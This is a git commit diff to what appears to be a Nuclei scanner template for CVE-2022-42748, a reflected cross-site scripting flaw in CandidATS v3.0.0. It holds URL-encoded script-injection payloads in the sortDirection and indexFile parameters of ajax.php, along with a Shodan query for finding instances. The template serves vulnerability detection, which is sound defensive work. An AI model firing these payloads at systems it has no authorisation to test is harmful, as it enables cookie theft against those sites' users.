Update CVE-2022-42748.yaml

patch-1
Ritik Chaddha 2022-11-09 20:30:36 +05:30 committed by GitHub
parent 11d15f01a8
commit 713267e9cf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 6 deletions

View File

@ -3,26 +3,36 @@ id: CVE-2022-42748
info:
name: CandidATS v3.0.0 - Cross Site Scripting.
author: arafatansari
severity: Medium
description: CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
severity: medium
description: |
CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
reference:
- https://fluidattacks.com/advisories/modestep/
- https://nvd.nist.gov/vuln/detail/CVE-2022-42748
classification:
cve-id: CVE-2022-42748
metadata:
shodan-query: http.html:"CandidATS"
verified: true
tags: xss,cve,2022
tags: cve,cve2022,candidats,xss
requests:
- method: GET
path:
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.cookie)</script>'
- '<script>alert(document.domain)</script>'
- 'candidat'
condition: and
- type: word
part: header
words:
- text/html
condition: and
- type: status